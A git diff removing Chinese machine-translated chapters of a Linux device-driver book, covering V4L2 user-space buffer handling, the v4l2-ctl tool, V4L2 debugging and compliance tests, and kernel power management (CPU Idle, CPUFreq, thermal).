V4L2_MEMORY_USERPTR; -/* Dequeue a captured buffer */ -if (-1 == xioctl (fd, VIDIOC_DQBUF, &buf)) { -    switch (errno) { -    case EAGAIN: -        return 0; -    case EIO: -        [...] -    default: -        errno_exit ("VIDIOC_DQBUF"); -    } -} -/* - * We may need the index to which corresponds this buffer - * in our buf_addr array. This is done by matching address - * returned by the dequeue ioctl with the one stored in our - * array */ -for (i = 0; i < BUF_COUNT; ++i) -    if (buf.m.userptr == (unsigned long)buf_addr[i].start && -                        buf.length == buf_addr[i].length) -        break; -/* the corresponding index is used for sanity checks only */ -assert (i < BUF_COUNT); -process_image ((void *)buf.m.userptr); -/* requeue the buffer */ -if (-1 == xioctl (fd, VIDIOC_QBUF, &buf)) -    errno_exit ("VIDIOC_QBUF"); -``` - -上面的代码显示了如何将用户指针缓冲区出列,并且注释良好,足够,不需要任何进一步的解释。 但是,如果需要很多缓冲区,这可以在循环中实现。 - -### 读/写 I/O - -这是最后一个示例,显示了如何使用`read()`系统调用将缓冲区出列: - -```sh -if (-1 == read (fd, buffers[0].start, buffers[0].length)) { -    switch (errno) { -    case EAGAIN: -        return 0; -    case EIO: -        [...] -    default: -        errno_exit ("read"); -    } -} -process_image (buffers[0].start); -``` - -前面的示例都没有详细讨论过,因为每个示例都使用了在*V4L2 用户空间 API*一节中已经介绍过的概念。 既然我们已经熟悉了编写 V4L2 用户空间代码,那么让我们看看如何使用专用工具来不编写任何代码,这些工具可用于快速构建相机系统的原型。 - -# V4L2 用户空间工具 - -到目前为止,我们已经学习了如何编写用户空间代码来与内核中的驱动交互。 对于快速原型和测试,我们可以利用一些社区提供的 V4L2 用户空间工具。 通过使用这些工具,我们可以集中精力进行系统设计,并对摄像机系统进行验证。 最知名的工具是`v4l2-ctl`,我们将重点介绍它;它随`v4l-utils`包一起提供。 - -虽然本章不讨论,但也有**yavta**工具(代表**另一个 V4L2 测试应用**),可用于测试、调试和控制摄像机子系统。 - -## 使用 V4L2-ctl - -`v4l2-utils`是一个用户空间应用,可用于查询或配置 V4L2 设备(包含子设备)。 该工具可以帮助设置和设计基于 V4L2 的细粒度系统,因为它有助于调整和利用设备的功能。 - -重要音符 - -`qv4l2`是相当于`v4l2-ctl`的 Qt GUI。 `v4l2-ctl`是嵌入式系统的理想选择,而`qv4l2`是交互式测试的理想选择。 - -### 列出视频设备及其功能 - -首先,我们需要使用`--list-devices`选项列出所有可用的视频设备: - -```sh -# v4l2-ctl --list-devices -Integrated Camera: Integrated C (usb-0000:00:14.0-8): - /dev/video0 - /dev/video1 -``` - -如果有多个设备可用,我们可以在任何`v4l2-ctl`命令后使用`-d`选项,以确定特定设备的目标。 请注意,如果未指定`-d`选项,则默认情况下以`/dev/video0`为目标。 - -要获得特定设备的信息,您必须使用`-D`选项,如下所示: - -```sh -# v4l2-ctl -d /dev/video0 -D -Driver Info (not using libv4l2): - Driver name   : uvcvideo - Card type     : Integrated Camera: Integrated C - Bus info      : usb-0000:00:14.0-8 - Driver version: 5.4.60 - Capabilities  : 0x84A00001 - Video Capture - Metadata Capture - Streaming - Extended Pix Format - Device Capabilities - Device Caps   : 0x04200001 - Video Capture - Streaming - Extended Pix Format -``` - -前面的命令显示设备信息(如驱动及其版本)及其功能。 也就是说,`--all`命令提供了更好的冗长。 你应该试一试。 - -### 更改设备属性(控制设备) - -在我们查看更改设备属性之前,我们首先需要知道设备支持哪些控件,它们的值类型(整数、布尔、字符串等)是什么,它们的默认值是什么,以及可以接受哪些值。 - -为了获得设备支持的控件列表,我们可以使用带有`-L`选项的`v4l2-ctl`,如下所示: - -```sh -# v4l2-ctl -L -                brightness 0x00980900 (int)  : min=0 max=255 step=1 default=128 value=128 -                contrast 0x00980901 (int)    : min=0 max=255 step=1 default=32 value=32 -                saturation 0x00980902 (int)  : min=0 max=100 step=1 default=64 value=64 -                     hue 0x00980903 (int)    : min=-180 max=180 step=1 default=0 value=0 - white_balance_temperature_auto 0x0098090c (bool)   : default=1 value=1 -                     gamma 0x00980910 (int)  : min=90 max=150 step=1 default=120 value=120 -         power_line_frequency 0x00980918 (menu)   : min=0 max=2 default=1 value=1 - 0: Disabled - 1: 50 Hz - 2: 60 Hz -      white_balance_temperature 0x0098091a (int)  : min=2800 max=6500 step=1 default=4600 value=4600 flags=inactive -                    sharpness 0x0098091b (int)    : min=0 max=7 step=1 default=3 value=3 -       backlight_compensation 0x0098091c (int)    : min=0 max=2 step=1 default=1 value=1 -                exposure_auto 0x009a0901 (menu)   : min=0 max=3 default=3 value=3 - 1: Manual Mode - 3: Aperture Priority Mode -         exposure_absolute 0x009a0902 (int)    : min=5 max=1250 step=1 default=157 value=157 flags=inactive -         exposure_auto_priority 0x009a0903 (bool)   : default=0 value=1 -jma@labcsmart:~$ -``` - -在前面的输出中,`"value="`字段返回控件的当前值,其他字段不言而喻。 - -现在我们已经知道了设备支持的控件列表,可以使用`--set-ctrl`选项更改控件值,如下例所示: - -```sh -# v4l2-ctl --set-ctrl brightness=192 -``` - -之后,我们可以使用以下内容检查当前值: - -```sh -# v4l2-ctl -L -                 brightness 0x00980900 (int)    : min=0 max=255 step=1 default=128 value=192 -                     [...] -``` - -或者,我们可以使用`--get-ctrl`命令,如下所示: - -```sh -# v4l2-ctl --get-ctrl brightness -brightness: 192 -``` - -现在可能是调整设备的时候了。 在此之前,我们先来检查一下该设备的视频特性。 - -设置像素格式、分辨率和帧速率 - -在选择特定格式或分辨率之前,我们需要枚举可用于该设备的内容。 为了获得支持的像素格式以及分辨率和帧率,需要将`--list-formats-ext`选项赋予`v4l2-ctl`,如下所示: - -```sh -# v4l2-ctl --list-formats-ext -ioctl: VIDIOC_ENUM_FMT - Index       : 0 - Type        : Video Capture - Pixel Format: 'MJPG' (compressed) - Name        : Motion-JPEG - Size: Discrete 1280x720 - Interval: Discrete 0.033s (30.000 fps) - Size: Discrete 960x540 - Interval: Discrete 0.033s (30.000 fps) - Size: Discrete 848x480 - Interval: Discrete 0.033s (30.000 fps) - Size: Discrete 640x480 - Interval: Discrete 0.033s (30.000 fps) - Size: Discrete 640x360 - Interval: Discrete 0.033s (30.000 fps) - Size: Discrete 424x240 - Interval: Discrete 0.033s (30.000 fps) - Size: Discrete 352x288 - Interval: Discrete 0.033s (30.000 fps) - Size: Discrete 320x240 - Interval: Discrete 0.033s (30.000 fps) - Size: Discrete 320x180 - Interval: Discrete 0.033s (30.000 fps) - Index       : 1 - Type        : Video Capture - Pixel Format: 'YUYV' - Name        : YUYV 4:2:2 - Size: Discrete 1280x720 - Interval: Discrete 0.100s (10.000 fps) - Size: Discrete 960x540 - Interval: Discrete 0.067s (15.000 fps) - Size: Discrete 848x480 - Interval: Discrete 0.050s (20.000 fps) - Size: Discrete 640x480 - Interval: Discrete 0.033s (30.000 fps) - Size: Discrete 640x360 - Interval: Discrete 0.033s (30.000 fps) - Size: Discrete 424x240 - Interval: Discrete 0.033s (30.000 fps) - Size: Discrete 352x288 - Interval: Discrete 0.033s (30.000 fps) - Size: Discrete 320x240 - Interval: Discrete 0.033s (30.000 fps) - Size: Discrete 320x180 - Interval: Discrete 0.033s (30.000 fps) -``` - -从前面的输出中,我们可以看到目标设备支持的是**MJPG**(`mjpeg`)压缩格式和 YUYV RAW 格式。 - -现在,为了更改摄像机配置,首先使用`--set-parm`选项选择帧速率,如下所示: - -```sh -# v4l2-ctl --set-parm=30 -Frame rate set to 30.000 fps -# -``` - -然后,您可以使用`--set-fmt-video`选项选择所需的分辨率和/或像素格式,如下所示: - -```sh -# v4l2-ctl --set-fmt-video=width=640,height=480,  pixelformat=MJPG -``` - -当涉及到帧速率时,您可能希望将`v4l2-ctl`与`--set-parm`选项一起使用,只给出帧速率分子-分母固定为`1`(只允许整数帧速率值)-如下所示: - -```sh -# v4l2-ctl --set-parm= -``` - -### 捕获帧和流 - -`v4l2-ctl`支持的选项比您想象的要多。 为了查看可能的选项,您可以打印相应部分的帮助消息。 与流媒体和视频采集相关的常见帮助命令如下: - -* `--help-streaming`:打印处理流的所有选项的帮助消息 -* `--help-subdev`:打印处理`v4l-subdevX`设备的所有选项的帮助消息 -* `--help-vidcap`:打印获取/设置/列出视频捕获格式的所有选项的帮助消息 - -通过这些帮助命令,我构建了以下命令,以便在磁盘上捕获 QVGA MJPG 压缩帧: - -```sh -# v4l2-ctl --set-fmt-video=width=320,height=240,  pixelformat=MJPG \ -   --stream-mmap --stream-count=1 --stream-to=grab-320x240.mjpg -``` - -我还成功地使用以下命令捕获了具有相同分辨率的原始 YUV 图像: - -```sh -# v4l2-ctl --set-fmt-video=width=320,height=240,  pixelformat=YUYV \ -  --stream-mmap --stream-count=1 --stream-to=grab-320x240-yuyv.raw -``` - -除非您使用合适的 RAW 图像查看器,否则无法显示原始 YUV 图像。 为此,必须使用`ffmpeg`工具转换原始图像,例如,如下所示: - -```sh -# ffmpeg -f rawvideo -s 320x240 -pix_fmt yuyv422 \ -         -i grab-320x240-yuyv.raw grab-320x240.png -``` - -您可以注意到原始图像和压缩图像在大小方面有很大的不同,如以下代码片断所示: - -```sh -# ls -hl grab-320x240.mjpg --rw-r--r-- 1 root root 8,0K oct.  21 20:26 grab-320x240.mjpg -# ls -hl grab-320x240-yuyv.raw --rw-r--r-- 1 root root 150K oct.  21 20:26 grab-320x240-yuyv.raw -``` - -请注意,最好在原始捕获的文件名中包含图像格式(如`grab-320x240-yuyv.raw`中的`yuyv`),这样您就可以轻松地从正确的格式进行转换。 压缩图像格式不需要此规则,因为这些格式是图像容器格式,其标题描述了后面的像素数据,可以使用`gst-typefind-1.0`工具轻松读取。 JPEG 就是这样一种格式,下面是其标题的读取方式: - -```sh -# gst-typefind-1.0 grab-320x240.mjpg -grab-320x240.mjpg - img/jpeg, width=(int)320, height=(int)240, sof-marker=(int)0 -# gst-typefind-1.0 grab-320x240-yuyv.raw -grab-320x240-yuyv.raw - FAILED: Could not determine type of stream. -``` - -现在我们已经完成了工具使用,让我们看看如何更深入地了解 V4L2 调试和用户空间。 - -## 在用户空间调试 V4L2 - -由于我们的视频系统设置可能不是没有 bug,所以 V4L2 提供了一个简单但很大的后门,用于从用户空间进行调试,以便跟踪和消除来自 VL4L2 框架核心或用户空间 API 的问题。 - -框架调试可以按如下方式启用: - -```sh -# echo 0x3 > /sys/module/videobuf2_v4l2/parameters/debug -# echo 0x3 > /sys/module/videobuf2_common/parameters/debug -``` - -上述命令将指示 V4L2 向内核日志消息添加核心跟踪。 这样,假设故障来自核心,它将很容易跟踪故障的来源。 运行以下命令: - -```sh -# dmesg -[831707.512821] videobuf2_common: __setup_offsets: buffer 0, plane 0 offset 0x00000000 -[831707.512915] videobuf2_common: __setup_offsets: buffer 1, plane 0 offset 0x00097000 -[831707.513003] videobuf2_common: __setup_offsets: buffer 2, plane 0 offset 0x0012e000 -[831707.513118] videobuf2_common: __setup_offsets: buffer 3, plane 0 offset 0x001c5000 -[831707.513119] videobuf2_common: __vb2_queue_alloc: allocated 4 buffers, 1 plane(s) each -[831707.513169] videobuf2_common: vb2_mmap: buffer 0, plane 0 successfully mapped -[831707.513176] videobuf2_common: vb2_core_qbuf: qbuf of buffer 0 succeeded -[831707.513205] videobuf2_common: vb2_mmap: buffer 1, plane 0 successfully mapped -[831707.513208] videobuf2_common: vb2_core_qbuf: qbuf of buffer 1 succeeded -[...] -``` - -在前面的内核日志消息中,我们可以看到与内核相关的 V4L2 核心函数调用,以及其他一些细节。 如果由于任何原因,V4L2 内核跟踪对您来说是不必要的或不够的,您也可以使用以下命令启用 V4L2 用户端 API 跟踪: - -```sh -$ echo 0x3 > /sys/class/video4linux/video0/dev_debug -``` - -在运行该命令以允许您捕获原始映像之后,我们可以在内核日志消息中看到以下内容: - -```sh -$ dmesg -[833211.742260] video0: VIDIOC_QUERYCAP: driver=uvcvideo, card=Integrated Camera: Integrated C, bus=usb-0000:00:14.0-8, version=0x0005043c, capabilities=0x84a00001, device_caps=0x04200001 -[833211.742275] video0: VIDIOC_QUERY_EXT_CTRL: id=0x980900, type=1, name=Brightness, min/max=0/255, step=1, default=128, flags=0x00000000, elem_size=4, elems=1, nr_of_dims=0, dims=0,0,0,0 -[...] -[833211.742318] video0: VIDIOC_QUERY_EXT_CTRL: id=0x98090c, type=2, name=White Balance Temperature, Auto, min/max=0/1, step=1, default=1, flags=0x00000000, elem_size=4, elems=1, nr_of_dims=0, dims=0,0,0,0 -[833211.742365] video0: VIDIOC_QUERY_EXT_CTRL: id=0x98091c, type=1, name=Backlight Compensation, min/max=0/2, step=1, default=1, flags=0x00000000, elem_size=4, elems=1, nr_of_dims=0, dims=0,0,0,0 -[833211.742376] video0: VIDIOC_QUERY_EXT_CTRL: id=0x9a0901, type=3, name=Exposure, Auto, min/max=0/3, step=1, default=3, flags=0x00000000, elem_size=4, elems=1, nr_of_dims=0, dims=0,0,0,0 -[...] -[833211.756641] videobuf2_common: vb2_mmap: buffer 1, plane 0 successfully mapped -[833211.756646] videobuf2_common: vb2_core_qbuf: qbuf of buffer 1 succeeded -[833211.756649] video0: VIDIOC_QUERYBUF: 00:00:00.00000000 index=2, type=vid-cap, request_fd=0, flags=0x00012000, field=any, sequence=0, memory=mmap, bytesused=0, offset/userptr=0x12e000, length=614989 -[833211.756657] timecode=00:00:00 type=0, flags=0x00000000, frames=0, userbits=0x00000000 -[833211.756698] videobuf2_common: vb2_mmap: buffer 2, plane 0 successfully mapped -[833211.756704] videobuf2_common: vb2_core_qbuf: qbuf of buffer 2 succeeded -[833211.756706] video0: VIDIOC_QUERYBUF: 00:00:00.00000000 index=3, type=vid-cap, request_fd=0, flags=0x00012000, field=any, sequence=0, memory=mmap, bytesused=0, offset/userptr=0x1c5000, length=614989 -[833211.756714] timecode=00:00:00 type=0, flags=0x00000000, frames=0, userbits=0x00000000 -[833211.756751] videobuf2_common: vb2_mmap: buffer 3, plane 0 successfully mapped -[833211.756755] videobuf2_common: vb2_core_qbuf: qbuf of buffer 3 succeeded -[833212.967229] videobuf2_common: vb2_core_streamon: successful -[833212.967234] video0: VIDIOC_STREAMON: type=vid-cap -``` - -在前面的输出中,我们可以跟踪不同的 V4L2 用户端 API 调用,这些调用对应于不同的`ioctl`命令及其参数。 - -### V4L2 合规性驱动测试 - -为了使驱动符合 V4L2,它必须满足一些标准,其中包括通过`v4l2-compliance`工具测试,该测试用于测试所有类型的 V4L 设备。 `v4l2-compliance`尝试测试 V4L2 设备的几乎所有方面,它几乎涵盖了所有 V4L2ioctls。 - -与其他 V4L2 工具一样,可以使用`-d`或`--device=`命令瞄准视频设备。 如果未指定设备,则目标为`/dev/video0`。 以下是一段输出摘录: - -```sh -# v4l2-compliance -v4l2-compliance SHA   : not available -Driver Info: - Driver name   : uvcvideo - Card type     : Integrated Camera: Integrated C - Bus info      : usb-0000:00:14.0-8 - Driver version: 5.4.60 - Capabilities  : 0x84A00001 - Video Capture - Metadata Capture - Streaming - Extended Pix Format - Device Capabilities - Device Caps   : 0x04200001 - Video Capture - Streaming - Extended Pix Format -Compliance test for device /dev/video0 (not using libv4l2): -Required ioctls: - test VIDIOC_QUERYCAP: OK -Allow for multiple opens: - test second video open: OK - test VIDIOC_QUERYCAP: OK - test VIDIOC_G/S_PRIORITY: OK - test for unlimited opens: OK -Debug ioctls: - test VIDIOC_DBG_G/S_REGISTER: OK (Not Supported) - test VIDIOC_LOG_STATUS: OK (Not Supported) -[] -Output ioctls: - test VIDIOC_G/S_MODULATOR: OK (Not Supported) - test VIDIOC_G/S_FREQUENCY: OK (Not Supported) -[...] -Test input 0: - Control ioctls: - fail: v4l2-test-controls.cpp(214): missing control class for class 00980000 - fail: v4l2-test-controls.cpp(251): missing control class for class 009a0000 - test VIDIOC_QUERY_EXT_CTRL/QUERYMENU: FAIL - test VIDIOC_QUERYCTRL: OK - fail: v4l2-test-controls.cpp(437): s_ctrl returned an error (84) - test VIDIOC_G/S_CTRL: FAIL - fail: v4l2-test-controls.cpp(675): s_ext_ctrls returned an error ( -``` - -在前面的日志中,我们可以看到`/dev/video0`已成为目标。 此外,我们注意到我们的驱动不支持`Debug ioctls`和`Output ioctls`(这些都不是故障)。 虽然输出足够详细,但最好还是使用`--verbose`命令,这会使输出更加用户友好且更加详细。 不用说,如果您想要提交一个新的 V4L2 驱动,该驱动必须通过 V4L2 兼容性测试。 - -# 摘要 - -在本章中,我们介绍了 V4L2 的用户空间实现。 我们从 V4L2 缓冲区管理开始,从视频流开始。 我们还学习了如何处理视频设备属性管理,所有这些都是从用户空间开始的。 然而,V4L2 是一个沉重的框架,不仅在代码方面,在功耗方面也是如此。 因此,在下一章中,我们将讨论 Linux 内核电源管理,以便在不降低系统性能的情况下将系统保持在尽可能低的消耗水平。 \ No newline at end of file diff --git a/docs/master-linux-device-driver-dev/10.md b/docs/master-linux-device-driver-dev/10.md deleted file mode 100644 index 774ce549..00000000 --- a/docs/master-linux-device-driver-dev/10.md +++ /dev/null @@ -1,884 +0,0 @@ -# 十、Linux 内核电源管理 - -为了顺应商业潮流,满足消费者的需求,移动设备正变得越来越复杂,功能越来越多。 虽然这类设备的少数部分运行专有或裸机软件,但它们中的大多数都运行基于 Linux 的操作系统(仅举几例,嵌入式 Linux 发行版、Android 等),而且所有这些设备都是由电池供电的。 除了完整的功能和性能之外,消费者还需要尽可能长的自主性和持久的电池。 不用说,完全性能和自主性(省电)是两个完全不相容的概念,在使用设备时必须始终找到折衷方案。 电源管理提供了这一折衷方案,使我们能够尽可能降低功耗和设备性能,而不会忽略设备在进入低功耗状态后唤醒(或完全运行)所需的时间。 - -Linux 内核提供了几种电源管理功能,从允许您在短暂的空闲期(或执行功耗需求较低的任务)时节省电量,到在不活跃使用时将整个系统置于睡眠状态。 - -此外,当设备添加到系统中时,由于 Linux 内核提供的通用电源管理 API,它们可以参与此电源管理工作,以便使设备驱动开发人员能够从设备中实现的电源管理机制中获益,无论设备是什么。 这允许调整每个设备或整个系统的电源参数,以便不仅延长设备的自主性,而且延长电池的寿命。 - -在本章中,我们将介绍 Linux 内核电源管理子系统,利用它的 API 并从用户空间管理它的选项。 因此,我们将介绍以下主题: - -* 基于 Linux 系统的电源管理概念 -* 向设备驱动添加电源管理功能 -* 是系统唤醒的来源 - -# 技术要求 - -为了更好地理解本章,您需要以下内容: - -* 基本的电气知识 -* 基本的 C 编程技能 -* 具备良好的计算机体系结构知识 -* Linux Kernel 4.19 源代码位于[https://github.com/torvalds/linux](https://github.com/torvalds/linux) - -# 基于 Linux 系统的电源管理概念 - -**电源管理**(**PM**)要求在任何时候消耗尽可能少的电力。 操作系统必须处理两种类型的电源管理:**设备电源管理**和**系统电源管理**。 - -* **设备电源管理**:这是特定于设备的。 它允许在系统运行时将设备置于低功率状态。 除其他事项外,这可能允许关闭当前未使用的设备的一部分以节省电量,例如在您不打字时的键盘背光。 单独的设备电源管理可以在设备上显式调用,而与电源管理活动无关,或者可以在设备空闲了设定的时间量之后自动发生。 设备电源管理是所谓的*运行时电源管理*的别名。 -* **系统电源管理**,也称为*休眠状态*:这使平台能够进入系统范围的低功耗状态。 换句话说,进入休眠状态是将整个系统置于低功率状态的过程。 系统可能会进入几种低功耗状态(或休眠状态),具体取决于平台、其功能和目标唤醒延迟。 例如,当笔记本电脑盖上盖子、关闭手机屏幕或达到某些关键状态(如电池电量)时,就会发生这种情况。 这些状态中的许多在不同平台上都是相似的(例如冻结,这纯粹是软件,因此与设备或系统无关),稍后将详细讨论。 一般概念是在系统断电(或进入休眠状态,这与关机不同)之前保存正在运行的系统的状态,并在系统恢复供电后恢复。 这可防止系统执行整个关机和启动顺序。 - -尽管系统 PM 和运行时 PM 处理不同的空闲管理场景,但是部署两者对于防止浪费平台的电力是很重要的。 你应该认为它们是互补的,正如我们将在即将到来的节离子中看到的那样。 - -## 运行时电源管理 - -这是 Linux PM 的一部分,管理单个设备的电源,而不会使整个系统进入低功耗状态。 在此模式下,操作在系统运行时生效,因此其名称为 Runtime Power Management。 为了适应设备功耗,在系统仍在运行的情况下,动态更改其属性,他将其另一个名称**称为**动态电源管理**。** - -### 浏览一些动态电源管理界面 - -除了驱动开发人员可以在设备驱动中实现的每个设备的电源管理功能外,Linux 内核还提供了用户空间接口来添加/删除/修改电源策略。 下面列出了其中最知名的几个: - -* **CPU 空闲**:当 CPU 没有要执行的任务时,此有助于管理 CPU 功耗。 -* **CPUFreq**:此允许根据系统负载更改 CPU 电源属性(即相关的电压和频率)。 -* **散热**:此允许根据在系统的预定义区域(大多数时间靠近 CPU 的区域)检测到的温度来调整电源属性。 - -您可能已经注意到,前面的策略处理 CPU。 这是因为 CPU 是移动设备(或嵌入式系统)功耗的主要来源之一。 虽然在接下来的部分中只介绍了三个接口,但是还有其他接口 too,例如 QoS 和 DevFreq。 读者可以自由探索这些内容来满足他们的好奇心。 - -#### CPU 空闲 - -每当系统中的逻辑 CPU 没有要执行的任务时,可能需要将其置于特定状态以节省电能。 在这种情况下,大多数操作系统简单地调度所谓的*空闲线程*。 在执行此线程时,CPU 被称为空闲或处于空闲状态。 **CPU Idle**是一个管理空闲线程的框架。 有几个级别(或模式或状态)的空闲。 它依赖于嵌入在 CPU 中的内置节能硬件。 CPU 空闲模式有时称为 C 模式,甚至称为 C 状态,这是**高级配置和电源接口**(**ACPI**)术语。 这些状态通常从`C0`开始,这是正常的 CPU 操作模式;换句话说,CPU 是 100%打开的。 随着 C 值的增加,CPU 休眠模式变得更深;换句话说,关闭的电路和信号越多,CPU 返回`C0`模式(即唤醒)所需的时间就越长。 `C1`是第一个 C 状态,`C2`是第二个状态,依此类推。 当逻辑处理器空闲时(除`C0`之外的任何 C 状态),其频率通常为`0`。 - -下一个事件(时间)决定 CPU 可以休眠多长时间。 每种空闲状态由三个特征描述: - -* 退出延迟(µS):这是退出此状态的延迟。 -* 功耗(以兆瓦为单位):这并不总是可靠的。 -* 目标驻留时间(µS):这是开始使用此状态的空闲持续时间。 - -CPU 空闲驱动是特定于平台的,Linux 内核希望 CPU 驱动最多支持 10 种状态(参见内核源代码中的`CPUIDLE_STATE_MAX`)。 然而,实际状态数取决于底层 CPU 硬件(嵌入内置省电逻辑),而且大多数 ARM 平台只提供一到两个空闲状态。 进入该州的选择是基于州长管理的政策。 - -在这个上下文中,调控器是一个简单的模块,它实现了一种算法,可以根据某些属性做出最佳的 C 状态选择。 换句话说,调控器是决定系统目标 C 状态的人。 尽管系统上可以存在多个调控器,但任何时候都只有一个调控器控制给定的 CPU。 它的设计方式是,如果调度器运行队列为空(这意味着 CPU 没有其他事情可做),并且它需要空闲 CPU,它将向 CPU 空闲框架请求 CPU 空闲。 然后,框架将依赖于当前选择的调控器来选择适当的*C 状态*。 有两个 CPU 空闲调控器:`ladder`(对于基于周期计时器计时的系统)和`menu`(对于无计时的系统)。 虽然`ladder`调控器总是可用,但如果选择了`CONFIG_CPU_IDLE`,则`menu`调控器还需要设置`CONFIG_NO_HZ_IDLE`(或旧内核上的`CONFIG_NO_HZ`)。 在配置内核时选择调控器。 粗略地说,使用它们中的哪一个取决于内核的配置,特别是取决于调度程序的滴答是否可以被空闲循环停止,因此`CONFIG_NO_HZ_IDLE`。 关于这一点,您可以参考`Documentation/timers/NO_HZ.txt`进行进一步的阅读。 - -调速器可以决定是继续当前状态还是转换到不同状态,在这种情况下,它将指示当前驾驶员转换到所选状态。 可以通过读取`/sys/devices/system/cpu/cpuidle/current_driver`文件的内容和`/sys/devices/system/cpu/cpuidle/current_governor_ro`中的当前调速器来识别当前空闲驱动: - -```sh -$ cat /sys/devices/system/cpu/cpuidle/current_governor_ro menu -``` - -在给定系统上,`/sys/devices/system/cpu/cpuX/cpuidle/`中的每个目录对应一个 C 状态,每个 C 状态目录属性文件的内容描述该 C 状态: - -```sh -$ ls /sys/devices/system/cpu/cpu0/cpuidle/ -state0 state1 state2 state3 state4 state5 state6 state7 state8 -$ ls /sys/devices/system/cpu/cpu0/cpuidle/state0/ -above below desc disable latency name power residency time usage -``` - -在 ARM 平台上,可以在设备树中描述空闲状态。 您可以参考内核源代码中的`Documentation/devicetree/bindings/arm/idle-states.txt`文件,了解有关这方面的更多信息。 - -重要音符 - -与其他电源管理框架不同,CPU Idle 无需用户干预即可工作。 - -有一个与此框架略有相似的框架,即`CPU Hotplug`,它允许在运行时动态启用和禁用 CPU,而无需重启系统。 例如,要将 2 号 CPU 热插拔出系统,可以使用以下命令: - -```sh -# echo 0 > /sys/devices/system/cpu/cpu2/online -``` - -我们可以通过读取`/proc/cpuinfo`来确保 CPU#2 实际上被禁用: - -```sh -# grep processor /proc/cpuinfo -processor : 0 -processor : 1 -processor : 3 -processor : 4 -processor : 5 -processor : 6 -processor : 7 -``` - -前面的说明确认 CPU2 现在处于离线状态。 为了将 CPU 热插拔回系统,我们可以执行以下命令: - -```sh -# echo 1 > /sys/devices/system/cpu/cpu2/online -``` - -CPU 热插拔在幕后的作用将取决于您特定的硬件和驱动。 这可能只会导致 SOMe 系统上的 CPU 进入空闲状态,而其他系统可能会物理地从指定的内核中移除电源。 - -#### CPUfreq 或动态电压和频率调节(DVFS) - -该框架允许基于约束和要求、用户偏好或其他因素对 CPU 进行动态电压选择和频率缩放。 因为该框架处理频率,所以它无条件地涉及时钟框架。 该框架使用概念**操作性能点**(**opps**),它由用`{Frequency,voltage}`元组表示系统的性能状态组成。 - -OPP 可以在设备树中描述,内核源代码中的绑定文档可以作为了解更多信息的一个很好的起点:`Documentation/devicetree/bindings/opp/opp.txt`。 - -重要音符 - -您偶尔会遇到术语**P 状态**。 这也是一个 ACPI 术语(与 C 状态一样),用于指定 CPU 内置硬件操作。 有些英特尔 CPU 就是这种情况,操作系统使用策略对象来处理这些问题。 您可以在基于英特尔的机器上检查`ls /sys/devices/system/cpu/cpufreq/`的结果。 因此,与 P 状态相反,C 状态是空闲节电状态,P 状态是执行节电状态。 - -CPUfreq 还使用调控器(实现缩放算法)的概念,该框架中的调控器如下: - -* `ondemand`:该调控器对 CPU 的负载进行采样,并积极放大以提供适当数量的处理能力,但在必要时会将频率重置为最大值。 -* `conservative`:这类似于`ondemand`,但使用了一种不太激进的增加 OPP 的方法。 例如,即使系统突然需要高性能,它也永远不会从最低的 OPP 跳到最高的 OPP。 它将循序渐进地做到这一点。 -* `performance`:此调速器始终选择频率尽可能高的 OPP。 这位州长把绩效放在首位。 -* `powersave`:与性能不同,此调控器始终选择频率尽可能低的 OPP。 这位州长把节电放在首位。 -* `userspace`:此调速器允许用户使用在`/sys/devices/system/cpu/cpuX/cpufreq/scaling_available_frequencies`中找到的任何值,通过将其回显到`/sys/devices/system/cpu/cpuX/cpufreq/scaling_setspeed`来设置所需的 OPP。 -* `schedutil`:此调控器是调度器的一部分,因此它可以在内部访问调度器数据结构,使其能够获取更可靠、更准确的系统负载统计信息,以便更好地选择适当的 OPP。 - -`userspace`调速器是唯一允许用户选择 OPP 的调速器。 对于其他调速器,OPP 更改会根据其算法的系统负载自动发生。 也就是说,从`userspace`开始,下面列出了可用的调控器: - -```sh -$ cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_available_governors -performance powersave -``` - -要查看当前调控器,请执行以下命令: - -```sh -$ cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor -powersave -``` - -要设置调控器,可以使用以下命令: - -```sh -$ echo userspace > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor -``` - -要查看当前的 OPP(频率,单位为 kHz),请执行以下命令: - -```sh -$ cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq 800031 -``` - -要查看支持的 opps(频率,单位为 kHz),请执行以下命令: - -```sh -$ cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_available_frequencies -275000 500000 600000 800031 -``` - -要更改 OPP,可以使用以下命令: - -```sh -$ echo 275000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_setspeed -``` - -重要音符 - -还有`devfreq`框架,它是用于非 CPU 设备的通用**动态电压和频率缩放**(**DVFS**)框架,具有诸如`Ondemand`、`performance`、`powersave`和`passive`等调控器。 - -请注意,前面的命令仅在选择`ondemand`调控器时才起作用,因为它是唯一允许更改 OPP 的命令。 然而,在前面的所有命令中,`cpu0`仅用于说教目的。 可以将其视为*cpuX*,其中*X*是系统看到的 CPU 的索引。 - -#### 热的 / 由热造成的 / 保暖的 / 热量的 - -此框架专门用于监控系统温度。 它根据温度阈值有专门的配置文件。 热传感器感应热点并报告。 该框架与冷却设备配合使用,有助于降低功耗以控制/限制过热。 - -散热框架使用以下概念: - -* **热区**:您可以将热区视为需要监控其温度的硬件。 -* **热传感器**:这些组件用于测量温度。 热传感器在热区提供温度传感功能。 -* **冷却设备**:这些设备在功耗方面提供控制。 通常有两种冷却方法:被动冷却,包括调节设备性能,在这种情况下使用 DVFS;主动冷却,包括激活特殊的冷却设备,如风扇(GPIO 风扇、PWM 风扇)。 -* **跳闸点**:这些跳闸点描述建议采取冷却行动的关键温度(实际阈值)。 这些点集是根据硬件限制选择的。 -* **调控器**:这些包括根据某些标准选择最佳冷却的算法。 -* **冷却图**:这些图用于描述跳闸点和冷却设备之间的链接。 - -热框架可以分为四个部分,它们是`thermal zone`、`thermal governor`、`thermal cooling`和`thermal core`,`thermal core`是前三个部分之间的粘合剂。 它可以在用户空间中从`/sys/class/thermal/`目录中进行管理: - -```sh -$ ls /sys/class/thermal/ -cooling_device0  cooling_device4 cooling_device8  thermal_zone3  thermal_zone7 -cooling_device1  cooling_device5 thermal_zone0    thermal_zone4 -cooling_device2  cooling_device6 thermal_zone1    thermal_zone5 -cooling_device3  cooling_device7 thermal_zone2    thermal_zone6 -``` - -在前面的说明中,每个`thermal_zoneX`文件代表一个热区驱动或一个热驱动。 热区驱动器是与热区相关联的热传感器的驱动器。 